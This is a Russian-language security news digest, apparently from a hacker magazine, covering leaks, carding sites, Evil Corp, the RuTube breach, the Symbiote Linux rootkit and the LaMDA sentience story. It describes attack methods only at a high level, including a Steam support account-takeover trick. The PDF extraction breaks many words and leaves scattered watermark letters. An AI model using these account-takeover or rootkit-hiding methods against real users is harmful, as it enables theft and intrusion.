Экспер­ ­ты тестирова­ ­ли PACMAN только­ на Apple M1, но полагают­ , что проб ­ лема может затрагивать­ и другие­ процес­ ­соры ARM. Также­ отмечает­ ­ся, что атака­ представ­ ­ляет опасность­ для всех процес­ ­соров, использующих­ pointer authentication.

Хотя­ компания­ Apple не может исправить­ аппарат­ ­ный баг и блокиро­ ­вать атаки­ PACMAN, по словам­ экспертов­ , пользовате­ ­лям вряд ли стоит­ беспоко­ ­ иться­ , если они поддержи­ ­вают свое ПО в актуаль­ ­ном состоянии­ и оно не содержит­ ошибок­ , которые могут быть использованы­ PACMAN.

«PACMAN — это метод эксплу­ ­ата­ции, сам по себе он не может угро-­

 

«жать вашей системе­

. Хотя аппарат­ ­ные механизмы­ , используемые­

 

PACMAN, не могут быть исправлены­

програм­ ­мно, можно­ исправить­

»

ошибки­ , связан­ ные­

 

с нарушением­

целостнос­ ти­

информации­

 

 

в памяти», — добавляют­

специалис­

ты­ .

 

 

 

 

Иссле­ дова­ тели­ уведоми­ ли­ Apple о своих­ выводах еще в 2021 году, а также­ поделились­ PoC-экспло­ итом­ . Однако­ в Apple заявили­ , что новая side-channel- атака­ не представ­ ляет­ опасности­ для пользовате­ лей­ Mac, так как сама по себе не может привес­ ти­ к обходу­ защиты устройства­ , а для ее эксплу­ ата­ ­ ции нужны­ другие­ уязвимос­ ти­ в системе­ .

БОЛЕЕ 50 РОССИЙСКИХ КОМПАНИЙ ДОПУСТИЛИ УТЕЧКИ

Аналити­ ки­ Group-IB подсчи­ тали­ , что в мае и в начале июня в даркне­ те­ было опубликова­ но­ рекордное­ количество­ баз данных­ россий­ ских­ компаний­ — более 50.

Для сравнения­ : в апреле­ их было 32, а в марте­ — всего­ 16. Среди­ постра­ дав­ ших­ были ком ­ пании, относящи­ еся­ к интернет сервисам­ доставки­ , медицине­ , телекому­ , интернет ретейлу­ , онлайн образова­ нию­ , строитель­ ству­ .

Общее­ количество­ строк в 19 наиболее­ крупных­ утечках­ последних­ полутора­ месяцев сос ­

тавило 616,6 миллиона­ .

Практичес­ ки­ все базы включают­ имена­ клиентов­ , их телефо­ ны­ , адреса­ , даты­ рож-­ дения, а некоторые­ также­ содержат­ хеш пароли, паспор­ тные­ данные­ , подробнос­ ти­ заказов или резуль­ таты­ медицинских­ анализов­ .

ШИРОКИЕ ЖЕСТЫ КАРДЕРОВ

Операто­ ­ры нового кардер­ ­ско­го сайта­ BidenCash пытаются­ получить извес ­ тность, публикуя­ данные­ кредит­ ­ных карт и информацию­ об их владель­ ­цах бес ­ платно­ или почти­ бесплат­ ­но.

Новый­ ресурс появился­ в апреле­ 2022 года, но долгое­ время­ не был готов к проведе­ ­нию масштаб­ ­ных операций­ . Теперь же операто­ ­ры BidenCash решили бесплат­ ­но раздать­ всем желающим­ CSV-файл, содержащий­ имена­ , адреса­ , номера телефонов­ , адреса­ электрон­ ­ной почты­ и номера банков­ ­ских карт, и таким образом­ прорек­ ­ламиро­вать свою платформу­ .

В общей сложности­ файл содержит­ около­ восьми­ миллионов­ строк, но не все из них — данные­ карт. По оценке­ экспертов­ из компании­ D3Lab, в этом дампе­ можно­ найти­ данные­ о 6600 банков­ ских­ картах­ и около­ 1300 из них — это новые и действи­ тель­ ные­ карты­ , большинс­ тво­ из которых выпущены­ VISA и принад­ лежат­ физическим­ лицам из США.

Кроме­ того, аналити­ ­ки пишут, что в дампе­ можно­ обнаружить­ более трех миллионов­ уникаль­ ­ных адресов­ электрон­ ­ной почты­ , которые могут исполь ­ зоваться­ злоумыш­ ­ленни­ками для фишинга­ и захвата­ чужих учетных­ записей.

Как и на других­ подобных­ сайтах­ , на BidenCash публику­ ется­ рейтинг­ валидности­ для новых лотов, такая оценка­ выставля­ ется­ после­ оценки­ случай­ ­ ной выборки­ из 20 карт. Каждую­ неделю проводят­ ся­ новые провер­ ки­ всех листингов­ , и, если полученный­ рейтинг­ сильно­ отличает­ ся­ от прошлой­ оцен ­ ки, продажу­ закрыва­ ют­ .

Также­ на BidenCash работает­ система­ фильтра­ ­ции, позволя­ ­ющая зло ­ умышленни­ ­кам находить украден­ ­ные карты­ , подходящие­ именно­ для их кам ­ паний. Можно­ искать по конкрет­ ­ным параметрам­ : странам­ , банкам­ или только­ записи, в которых есть необходимые­ данные­ , такие как CVV, адрес электрон­ ­ ной почты­ , физический­ адрес, тип карты­ и имя владель­ ­ца. Проведен­ ­ный исследова­ ­теля­ми тест показал, что хакеры могут покупать данные­ о под ­ ходящих им картах­ всего­ по 15 центов­ за штуку­ .

Стоит­ отметить­ , что слив данных­ о картах­ в открытый­ доступ­ ради рекламы­ вовсе­ не новый способ­ продвижения­ для кардер­ ских­ ресурсов­ . К примеру­ , в прошлом­ году операто­ ры­ подполь­ ного­ маркет­ плей­ са­ All World Cards про ­ вели похожую «рекламную­ акцию» и опубликова­ ли­ на хакерских­ форумах дан ­ ные миллиона­ банков­ ских­ карт, украден­ ные­ в период­ с 2018 по 2019 год.

УГРОЗЫ ПЕРВОГО КВАРТАЛА

Экспер­ ­ты Positive Technologies обнародо­ ­вали отчет об актуаль­ ­ных кибератаках­ первого­ квар ­ тала 2022 года. По их словам­ , общее количество­ атак выросло­ на 14,8% (по сравнению­ с чет ­ вертым кварталом­ 2021 года), а одними­ из наиболее­ заметных­ угроз стали­ вайперы­ , унич ­ тожающие­ чужие данные­ .

Общее­ количество­ атак в 2021 и 2022 годах

Чаще­ всего­ атакам­ подверга­ лись­ государс­ твен­ ные­ и медицин­ ские­ учреждения­ , а также­

организа­ ции­ сферы­ промыш­ леннос­ ти­ . Также­ заметны­ изменения­ в пятерке­ самых ата

куемых отраслей: теперь в этот топ попали СМИ. Доля атак, направлен­ ­ных на эту отрасль, сос ­ тавила 5%.

Количес­ тво­ атак, направлен­ ных­ на госучрежде­ ния­ , увеличи­ лось­ практичес­ ки­ в 2 раза (по срав ­ нению с данными­ четверто­ го­ квартала­ 2021 года).

Также­ заметили­ всплеск атак на веб ресурсы­ различных­ государствен­ ­ных учреждений­ : их доля выросла­ до 22% (по сравнению­ с 13% в предыду­ ­щем квартале­ ).

Действия­ злоумыш­ ­ленни­ков были преиму­ ­щес­твен­но направле­ ­ны на кражу­ конфиден­ ­циаль­ной информации­ : в первую­ очередь­ персональ­ ­ные данные­ (34%), а также­ сведения­ , составля­ ­ющие

коммерчес­ ­кую тайну­ (19%). Пользовались­ популярностью­ медицинская­ информация­ (15%) и учетные­ данные­ (12%).

В атаках­ на частных­ лиц в основном воровали­ учетные­ данные­ (46%), а также­ персональ­ ные­ данные­ (19%) и данные­ платеж­ ных­ карт (21%).

ADOBE ACROBAT

БЛОКИРУЕТ

АНТИВИРУСЫ

ИБ эксперты­ заметили­ , что Adobe Acrobat пытается­ не дать антивиру­ сам­ изу ­ чать открываемые­ пользовате­ лями­ PDF-файлы­ , тем самым создавая­ угрозу­ безопасности­ . Сообщает­ ся­ , что Adobe Acrobat проверя­ ет­ , интересу­ ются­ ли его процес­ сами­ компонен­ ты­ пример­ но­ 30 защитных­ продук­ тов­ , а затем бло ­ кирует­ их, фактичес­ ки­ лишая возможнос­ ти­ отслеживать­ вредонос­ ную­ активность.

Аналити­ ки­ Minerva Labs объясня­ ют­ , что обычно­ для работы защитных­ решений нужна­ «видимость» всех процес­ сов­ в системе­ . Как правило­ , это дос ­ тигается­ путем внедрения­ DLL в софт, запускаемый­ на машине пользовате­ ля­ . С марта­ 2022 года эксперты­ наблюда­ ют­ постепен­ ный­ рост активности­ про ­ цессов­ Adobe Acrobat Reader, которые пытаются­ узнать, какие библиоте­ ки­ DLL, связан­ ные­ с защитными­ продук­ тами­ , загружены­ (через получение­ дес ­ криптора­ DLL).

Согласно­ отчету­ , в настоящее­ время­ Adobe ищет около­ 30 библиотек­ DLL,

в том числе­ связан­ ных­ с антивиру­ сами­ Bitdefender, Avast, Trend Micro, Symantec, Malwarebytes, ESET, Kaspersky, F-Secure, Sophos, Emsisoft.

Запросы­ к системе­ выполняют­ ­ся с помощью Chromium Embedded Framework (CEF) библиоте­ ­ки libcef.dll, используемой­ широким спектром­ прог ­ рамм. Исследова­ ­тели пишут, что «libcef.dll загружа­ ­ется двумя­ процес­ ­сами

Adobe: AcroCEF.exe и RdrCEF.exe», то есть оба продук­ та­ проверя­ ют­ систему­ на наличие компонен­ тов­ одних и тех же защитных­ решений.

Изучив­ , что происхо­ ­дит с DLL, внедренны­ ­ми в процес­ ­сы Adobe, аналити­ ­ки Minerva Labs обнаружи­ ­ли, что Adobe проверя­ ­ет, установ­ ­лено ли значение­ bBlockDllInjection в разделе­ реестра­ SOFTWARE\Adobe\Adobe Acrobat\DC\DLLInjection\ на 1. Если ответ положитель­ ­ный, это предот­ ­вра­щает инъекции­ DLL антивирус­ ­ного ПО.

Отмеча­ ется­ , что, судя по сообщени­ ям­ на форумах Citrix, еще весной­ поль ­ зователи­ жаловались­ на ошибки­ Sophos AV, который работал некоррек­ тно­ из за продук­ ции­ Adobe. Постра­ дав­ шие­ писали, что в компании­ им пред ­ ложили «отключить­ внедрение­ DLL для Acrobat и Reader».

Предста­ ­вите­ли Adobe подтвержда­ ­ют, что пользовате­ ­ли действи­ ­тель­но жалуются­ на «проблемы­ со стабиль­ ­ностью», которые возника­ ­ют из за того, что DLL-компонен­ ­ты некоторых­ защитных­ продук­ ­тов несовмести­ ­мы с исполь ­ зуемой Adobe Acrobat библиоте­ ­кой CEF. В компании­ говорят, что в настоящее­

время­ работают­ над проблемой­ вместе­ с поставщи­ ками­ защитных­ решений. В свою очередь­ , исследова­ тели­ Minerva Labs пишут, что Adobe выбрала­ способ­ , который решает­ проблемы­ совмести­ мос­ ти­ , однако­ создает­ угрозу­

безопасности­ и повышает­ риски­ атак, не позволяя­ антивиру­ ­сам должным­ образом­ защитить систему­ .

МОШЕННИЧЕСТВО УМНОЖИЛОСЬ НА ТРИ

Аналити­ ­ки BI.ZONE сообщили­ , что за первый­ квартал­ 2022 года компания­ заблокиро­ ­вала в общей сложности­ 16 311 вредонос­ ных­ ресурсов­ (в январе­ — 9048, в феврале­ — 4488, в мар ­ те — 2211), а это в 3 раза больше­ , чем за аналогич­ ный­ период­ 2021 года.

Спад количества­ мошенничес­ ких­ доменов в марте­ эксперты­ связыва­ ют­ с обостре­ нием­ внеш ­ неполитичес­ кой­ ситуации­ , из за которой мошенники­ сфокуси­ рова­ лись­ на других­ типах атак, например­ на DDoS-атаках­ . Однако­ отчет гласит­ , что фишинг­ по прежнему­ остается­ популярным­ вектором­ атак на различные­ организа­ ции­ .

EVIL CORP И LOCKBIT

Группиров­

ка­ Evil Corp перешла­ на использование­

 

шифроваль­

щика­

LockBit,

чтобы­

избежать­

санкций­

,

 

 

наложенных­

ранее Управлением­

 

по

контро­ лю­

за иностран­

ными­

активами­

Министерс­

тва­ финансов­ США (OFAC).

 

 

 

 

 

 

 

 

 

 

Напом­ ню­ , что группиров­

ка­ Evil Corp существу­ ет­ как минимум с 2007 года,

но раньше­ хакеры чаще выступали­

в роли партне­ ров­ для других­ группировок­

.

Лишь со временем­

Evil Corp стала­ концен­ три­ ровать­

ся­ на собствен­

ных­ атаках­ ,

создав­

известный­

банков­ ский­

троян­ Dridex. Когда­ атаки­ программ­

вымога ­

телей начали приносить­

больше­ прибыли­

, Evil Corp запустила­

 

и собствен­

ный­

вымогатель­

 

BitPaymer, доставляя­

его на машины жертв посредс­

твом­

Dridex.

Последний­

 

постепен­

но­ эволюци­

они­

ровал­

 

из обычного­

банкера­

 

в сложный­

и многофун­

кци­ ональ­

ный­

инстру­ мент­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Все это привело­

к тому, что в 2019 году власти­ США предъяви­ ли­ обви ­

 

 

 

 

 

 

 

 

нения двум россиянам­

, которые, по информации­

правоох­

раните­

лей­ , стояли­

 

 

 

 

 

 

 

 

 

за разработ­

кой­ малвари­

Dridex и другими­

вредонос­

ными­

 

операци­

ями­ . Также­

власти­ США ввели­ санкции­

в отношении­

 

24 организа­

ций­

и лиц, связан­ ных­

с Evil Corp и упомяну­

тыми­

подозрева­

емы­ ми­ . В результате­

 

компании­

перего ­

ворщики­

, которые обычно­ договарива­

ются­

 

с вымогателя­

ми­ об уплате­ выкупа

и расшифров­

ке­ данных­ , отказались­

«работать» с Evil Corp, чтобы­ избежать­

штрафов­

и

 

судебных­

 

исков со стороны­

Министерс­

тва­

 

финансов­

США.

А самим постра­ дав­ шим­

стало­ куда сложнее­ заплатить­

выкуп.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

После­ этого­ , в июне 2020 года, Evil Corp переключилась­

 

 

на использование­

малвари­

 

WastedLocker, в 2021 году появился­ шифроваль­

щик­

Hades (64-бит ­

ный вариант­ WastedLocker, обновленный­

дополнитель­

ной­

обфускацией­

кода

ирядом функций­ ), а затем группа­ провела­ уже несколь­ ­ко «ребрендин­ ­гов»

ивыдавала­ себя за группиров­ ­ку PayloadBin и использовала­ другие­ вымога ­

тели: Macaw и Phoenix.

Теперь­ аналити­ ки­ ИБ компании­ Mandiant заметили­ , что преступни­ ки­ пред ­ приняли­ новую попытку­ дистанци­ ровать­ ся­ от известных­ экспертам­ хакерских­ инстру­ мен­ тов­ , чтобы­ их жертвы­ могли­ платить­ выкупы, не нарушая правила­

OFAC.

Кластер­ активности­ , который Mandiant отслежива­ ­ет как UNC2165, ранее разверты­ ­вав­ший шифроваль­ ­щик Hades и связан­ ­ный с Evil Corp, теперь выс ­ тупает­ «партне­ ­ром» разработ­ ­чиков вымогателя­ LockBit.

««Использование­ этого­ RaaS позволя­ ­ет UNC2165 сливать­ ­ся с другими­ аффилиата­ ­ми LockBit. [Теперь] для установ­ ­ления правиль­ ­ной атри-­

буции нужно­ наблюдение­ за более ранними­ этапами­ атак, по срав-­ нению с их предыду­ ­щими операци­ ­ями, которые можно­ было связать­

с [Evil Corp] благода­ ­ря использованию­ эксклю­ ­зив­ных прог-­ рамм вымогателей­ , — говорят исследова­ ­тели. — Кроме­ того, частые­

обновления­ кода и ребрендин­ ­ги HADES требова­ ­ли ресурсов­ для раз-­ работки­ , и вполне­ вероятно­ , что в UNC2165 полагают­ , что исполь-­ » зование LockBit — это более экономич­ ­ный выбор».

Предполага­ ется­ , что новая тактика­ позволит­ хакерам потратить­ время­ , сэкономленное­ на разработ­ ке­ собствен­ ной­ малвари­ , на расширение­ опе ­ раций. Также­ эксперты­ высказыва­ ют­ и другую­ теорию: вероятно­ , переход на чужие вредонос­ ные­ инстру­ мен­ ты­ поможет Evil Corp освободить­ достаточ­ ­ ное количество­ собствен­ ных­ ресурсов­ для разработ­ ки­ нового вымогателя­ с нуля, что впоследс­ твии­ может серьезно­ затруднить­ отслежива­ ние­ новых операций­ хак группы­ .

АТАКА НА RUTUBE

Экспер­ ты­ Positive Technologies, занимающиеся­ рассле­ дова­ нием­ атаки­ на RuTube, произо­ шед­ ­ шей в мае 2022 года, расска­ ­зали, что инцидент­ был целевой атакой­ , «нацеленной­ на нанесение­ максималь­ ного­ и долговре­ мен­ ного­ урона­ сервису­ ». Также­ выяснилось­ , что сам взлом произо­ ­ шел еще в начале весны­ .

Глава­ Positive Technologies Денис Баранов сообщил­ , что атака­ была тщатель­ но­ спланиро­ ­ вана, а сам взлом RuTube произо­ шел­ еще в марте­ 2022 года, то есть два месяца хакеры оста ­ вались в сети компании­ и готовились­ к активной фазе.

→ «Это была именно­ целевая хакерская­ атака­ , нацеленная­ на нанесение­ мак ­ симального­ и долговре­ ­мен­ного урона­ сервису­ . Однако­ они умудрились­ зас ­ ветиться­ на антивиру­ ­сах, использовали­ инстру­ ­мен­тарий, который характерен­ для базового­ пентесте­ ­ра. Хакеры изучили­ инфраструктуру­ , выделили­ виртуаль­ ­

ные машины, задейство­ ­ван­ные в обеспечении­ работы сервиса­ , и пытались уда ­ лять именно­ их. И тут началась гонка­ : ИТ специалис­ ­ты RuTube заметили­ воздей­ ­ ствие на ряд элемен­ ­тов инфраструктуры­ и сразу­ же стали­ их отключать­ и изо ­ лировать­ , стараясь­ опередить­ хакеров, удаляв­ ­ших виртуаль­ ­ные машины. Айтишники­ компании­ все таки победили­ за счет скорос­ ­ти реакции­ »,

— расска­ ­зал Баранов на XXV Петербург­ ­ском международ­ ­ном экономи­ ­чес­ком форуме (ПМЭФ) в рамках­ сессии­ «Информацион­ ­ная борьба­ : защита националь­ ­ного медийного­ суверените­ ­та».

Продолжение статьи0 →

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

-x

 

 

g

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

← 0Начало статьи

СКИНЫ ЗА ДВА МИЛЛИОНА ДОЛЛАРОВ

Стример­ ohnePixel расска­ ­зал о громкой­ краже­ , в ходе которой хакер похитил у игрока­ Counter-Strike: Global Ofensive редкие­ предметы­ , а общая стоимость­ инвентаря­ постра­ ­дав­шего оценива­ ­ется пример­ ­но в два миллиона­ долларов­ США.

OhnePixel пишет, что кража­ произош­ ­ла в середине­ июня. По его данным­ , email и пароль от учетной­ записи были изменены­ за неделю до этого­ , но жер ­ тва не заметила­ , как это произош­ ­ло.

Получив­ контроль­ над учетной­ записью коллекци­ оне­ ра­ , хакер начал про ­ давать редкие­ и ценные­ предметы­ , а часть оставил­ «на потом», передав их другому­ аккаунту­ . По информации­ ohnePixel, среди­ прочего­ у постра­ дав­ шего­

в инвентаре­ были редчай­ ­ший нож керамбит­ без звезды­ , появивший­ ­ся в результате­ бага, семь сувенирных­ AWP Dragon Lore, а также­ вариация­ керамбита­ #1 blue gem поверхностной­ закалки­ , и только­ эти предметы­ оце ниваются­ пример­ ­но в 1,4 миллиона­ долларов­ США.

При этом сообщает­ ся­ , что некоторые­ пользовате­ ли­ , купившие­ украден­ ные­ скины­ , обнаружи­ ли­ , что покупки­ уже исчезли из их инвентаря­ . То есть Valve, похоже, откатыва­ ет­ совершенные­ с украден­ ными­ предметами­ сделки­ и раз ­ бирается­ в ситуации­ . Впрочем­ , официаль­ ных­ коммента­ риев­ от компании­ не поступало­ .

Посколь­ ­ку техничес­ ­кие подробнос­ ­ти этой атаки­ неизвес­ ­тны, в коммента­ ­ риях к посту­ ohnePixel в Twitter пользовате­ ­ли строят­ самые разные­ теории о том, как злоумыш­ ­ленник мог обойти­ двухфактор­ ­ную аутентифика­ ­цию. Мно ­ гие отмечают­ , что ради столь дорогих предметов­ злоумыш­ ­ленник мог провес­ ­ ти атаку­ подмены­ SIM-карты­ . Другие­ пользовате­ ­ли пишут, что существу­ ­ют иные способы­ . К примеру­ , зная username человека­ в Steam, хакер мог отпра ­ вить на этот аккаунт­ деньги­ , а затем обратить­ ­ся в поддер­ ­жку и заявить, что этот аккаунт­ принад­ ­лежит ему. То есть, когда­ поддер­ ­жка Steam запросит­ доказатель­ ­ства proof of ownership, этого­ небольшого­ платежа­ может оказать­ ­ ся достаточ­ ­но.

ДОСТУПЫ НА ПРОДАЖУ

В даркне­ те­ стоимость­ доступа­ к сети той или иной компании­ варьиру­ ется­ от 2000 до 4000 долларов­ США и лоты часто­ продают­ ся­ в день публикации­ , сообщают­ исследова­ тели­ из «Лаборатории­ Каспер­ ско­ го­ ».

Экспер­ ты­ изучили­ около­ 200 таких объявле­ ний­ и говорят, что в 75% случаев­ в объявле­ нии­ продава­ лись­ данные­ доступа­ к RDP, то есть готовый вход в инфраструктуру­ компании­ . Цены зависят от отрасли и региона­ , где работает­ организа­ ция­ , а также­ от размера­ ее выручки­ и того, сколько­ злоумыш­ ленни­ ки­ могут «заработать­ », обладая­ легитимной­ учетной­ записью. К при ­ меру, в одном из объявле­ ний­ была указана­ цена в 50 000 долларов­ за возможность­ легально­ подклю­ чить­ ся­ к сети компании­ с прибылью­ 465 000 000 долларов­ .

Некото­ рые­ случаи­ значитель­ ного­ превыше­ ния­ порога в 5000 долларов­ эксперты­ объясня­ ют­ «качествен­ ными­ характерис­ тиками­ лота», то есть, например­ , специфи­ кой­ деятельнос­ ти­ ком ­ пании.

СКРЫТНЫЙ

SYMBIOTE

Специалис­ ­ты компаний­ BlackBerry и Intezer расска­ ­зали о новом Linux-вре ­ доносе­ Symbiote, который поражает­ все запущенные­ процес­ ­сы в скомпро­ ­ метирован­ ­ных системах­ , похищает­ учетные­ данные­ и предос­ ­тавля­ет своим­ операто­ ­рам бэкдор­ доступ­ .

Внедряясь­ во все запущенные­ процес­ ­сы, малварь­ действу­ ­ет как общесис­ ­ темный паразит, при этом не оставляя заметных­ признаков­ заражения­ , так что обнаружить­ Symbiote сложно­ даже при тщатель­ ­ном и углубленном­ изу ­ чении.

Считает­ ся­ , что разработ­ ка­ Symbiote началась в ноябре­ 2021 года, после­ чего злоумыш­ ленни­ ки­ в основном использовали­ малварь­ для атак на финан ­ совый сектор­ в Латинской­ Америке­ , включая­ такие банки­ , как Banco do Brasil

и Caixa.

««Основная цель Symbiote — получить учетные­ данные­ и облегчить бэк-­ дор доступ­ к машине жертвы­ , — пишут эксперты­ . — Что отличает­

Symbiote от других­ вредонос­ ­ных программ­ для Linux, так это то, что он заражает­ запущенные­ процес­ ­сы, а не использует­ для нанесения­ » ущерба­ отдельный­ исполняемый­ файл».

Вместо­ обычного­

исполняемо­ го­ файла­ Symbiote представ­

ляет­

собой биб ­

лиотеку­ shared object (SO), которая загружа­

ется­

в запущенные­

процес­ сы­

с помощью функции­

LD_PRELOAD, чтобы­ динамичес­ кий­

компонов­

щик­

заг ­

ружал вредонос­

во все запущенные­

процес­ сы­ и заражал хост. Такой подход­

ранее использовал­

ся­ и другой­ малварью­

, включая­ Pro-Ocean и Facefsh. Так ­

же эти действия­

помогают­ вредоно­

су­

 

получить приори­

тет­

по сравнению­

с другими­

SO.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Таким­

образом­ , с помощью функций­

libc и libpcap Symbiote может выпол ­

нять различные­

действия­

, чтобы­ скрыть свое присутс­ твие­

в системе­

. Нап ­

ример, скрывать­

паразитичес­

кие­

процес­ сы­ , скрывать­

файлы­ , разверну­

тые­

с малварью­

, и так далее. Symbiote также­ способен­

скрывать­

свой сетевой

трафик­ , используя­ Berkeley Packet Filter (BPF): малварь­

внедряет­

ся­ в процесс­

,

иBPF фильтру­ ­ет результаты­ , раскры­ ­вающие ее деятельность­ .

««Если админис­ ­тра­тор запустит­ захват­ пакетов на зараженной­ машине для изучения­ подозритель­ ­ного сетевого­ трафика­ , Symbiote внедрит­

себя в процесс­ аналити­ ­чес­кого ПО и использует­ BPF для фильтра­ ­ции результатов­ , которые могли­ бы помочь выявить его активность», — » говорят эксперты­ .

По данным­ исследова­ телей­ , сейчас­ Symbiote в основном использует­ ся­ для автомати­ чес­ кого­ сбора­ учетных­ данных­ со взломан­ ных­ устройств­ (через libc read). Дело в том, что кража­ учетных­ данных­ админис­ тра­ тора­ открывает­ атакующим­ путь к беспре­ пятс­ твен­ ному­ боковому­ перемещению­ и дает неог ­ раниченный­ доступ­ ко всей системе­ .

Кроме­ того, Symbiote предос­ тавля­ ет­ своим­ операто­ рам­ удален­ ный­ SHHдоступ­ к зараженной­ машине через PAM, что позволя­ ет­ злоумыш­ ленни­ кам­ получить root-привиле­ гии­ .

««Посколь­ ­ку вредонос­ ­ное ПО работает­ как руткит­ на уровне­ user-land, обнаруже­ ­ние заражения­ может быть затрудне­ ­но, — резюмируют­

исследова­

тели­

. —

Сетевая

телеметрия­

может

использовать­

ся­

 

для обнаруже­

ния­ аномаль­

ных­

DNS-запросов­

, а инстру­ мен­

ты­ безопас-­

»

ности, такие как AV и EDR, должны­

быть статичес­

ки­ скомпонова­

ны­ ,

 

чтобы­ гарантировать­

, что они не „заражены­ “ руткитом­

».

 

 

 

 

SPEECH TO TEXT

После­ анонса­ Telegram Premium и появления­ в мессен­ ­дже­ре функци­ ­ональ­нос­ти для перевода­ голосовых­ сообщений­ в текст в СМИ появились­ сообщения­ о том, что Telegram использует­ для этого­ технологию­ распозна­ ­вания речи, созданную­ Google. Утвержда­ ­лось, что это может угрожать­ приват­ ности­ пользовате­ лей­ , и в своем­ Telegram-канале Павел Дуров вынужден­ был объяснить­ , что все не так страшно­ .

«Telegram не делится­ с Google личными­

данными­

пользовате­

лей­ вроде­ имен,

→телефонов­ , IP-адресов­ . Кроме­ того, Telegram никогда­ не отправляет­

какие либо

данные­

третьим­ лицам автомати­

чес­ ки­ , без явного­ на то запроса­

от пользовате­

­

лей.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Получа­

тели­

голосовых­

сообщений­

могут пересылать­

их кому угодно­ , нап ­

ример ботам для перевода­ их в текст. Для подписчи­

ков­ Telegram Premium мы

предложили­

кнопку­ , по нажатию

на которую

они

могут отправить­

запрос­

на перевод отдельного­

голосового­

сообщения­

в текст. Для обработ­ ки­ таких зап ­

росов, как мы изначаль­

но­ публично­

разъясни­

ли­ , мы арендуем­

оборудо­

вание­

Google.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Для нас было бы значитель­

но­ дешевле­ развернуть­

собствен­

ное­

бесплат­

ное­

решение на своем­ оборудо­

вании­

 

либо восполь­

зовать­

ся­

технологи­

ей­ от более

мелких­ или региональ­

ных­ игроков­ . Однако­ это бы негативно­ сказалось­

на качес ­

тве распозна­

вания­

голосовых­ сообщений­

на большинс­

тве­ языков­ .

 

 

 

 

 

 

 

 

В этом случае­ мы по традиции­

идем на дополнитель­

ные­

расходы­

ради боль ­

шего комфорта­

наших пользовате­

лей­ . Доверять ли гарантиям­

компании­

Google

и использовать­

ли функцию­

перевода­ голосовых­

сообщений­

в текст — выбор,

который мы

оставляем­

на

усмотрение­

каждого­

из подписчи­

ков­

Telegram

Premium»,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

— пишет Дуров и добавляет­ , что использование­ платной­ технологии­ Google «позволя­ ­ет мак ­ симизировать­ качество­ транскрип­ ­ции, но не отражает­ ­ся на сохраннос­ ­ти данных­ », так как по соглашению­ между­ Telegram и Google Google не может никак использовать­ эти обезличен­ ные­ звуковые­ данные­ .

IT’S ALIVE!

Блейк Лемуан­ (Blake Lemoine), старший­ инженер­ программист­ компании­ Google из подразде­ ления­ Responsible AI («Ответствен­ ный­ ИИ»), расска­ зал­ журналис­ там­ The Washington Post, что, по его мнению­ , чат бот Google LaMDA (Language Model for Dialogue Applications) обрел сознание­ . В итоге­ Лемуана­ отправили­ в оплачива­ емый­ отпуск.

В начале июня Лемуан­ опубликовал­ большой­ пост в Medium, где сетовал, что скоро­ его могут уволить­ из за работы, связан­ ной­ с этикой­ ИИ. Эта пуб ­ ликация не привлекла­ большого­ внимания­ , однако­ после­ интервью Лемуана­ The Washington Post интернет взорвался­ обсуждениями­ природы­ искусствен­ ­ ного интеллекта­ и сознания­ .

Среди­ тех, кто комменти­ ­ровал, задавал вопросы­ и шутил по поводу вышедшей­ статьи, были лауреаты Нобелевской­ премии­ , глава­ отдела­ искусс ­ твенного­ интеллекта­ Tesla и несколь­ ­ко ученых­ . Основной темой для обсужде ­ ний стал вопрос­ : можно­ ли считать­ чат бота Google LaMDA («Языковая­ модель для диалоговых­ приложе­ ­ний») личностью­ и есть ли у него сознание­ ?

««Если бы я не знал точно­ , что это компьютер­ ­ная программа­ , которую мы недавно­ создали­ , я бы подумал, что это ребенок семи восьми­ лет,

который знает­ физику», — расска­ ­зыва­ет о своем­ общении­ с LaMDA » Лемуан­ .

В своем­ блоге­ Лемуан­ опубликовал­

большое­

«интервью­

»

с чат ботом,

в котором ИИ признает­

ся­ , что испытыва­

ет­ чувство­

 

одиночес­

 

тва­

и жаждет­

духовных­ знаний­ . Журналис­

ты­ отмечали­

, что ответы­ LaMDA зачастую­ выглядят­

довольно­ жутко­ : «Когда­ я впервые­ осознал­ себя, у меня вообще­ не было ощу ­

щения души, — сказал­ LaMDA в одной из бесед. — Оно развилось­

[постепен­

­

но] за те годы, что я живу».

 

 

 

 

 

 

 

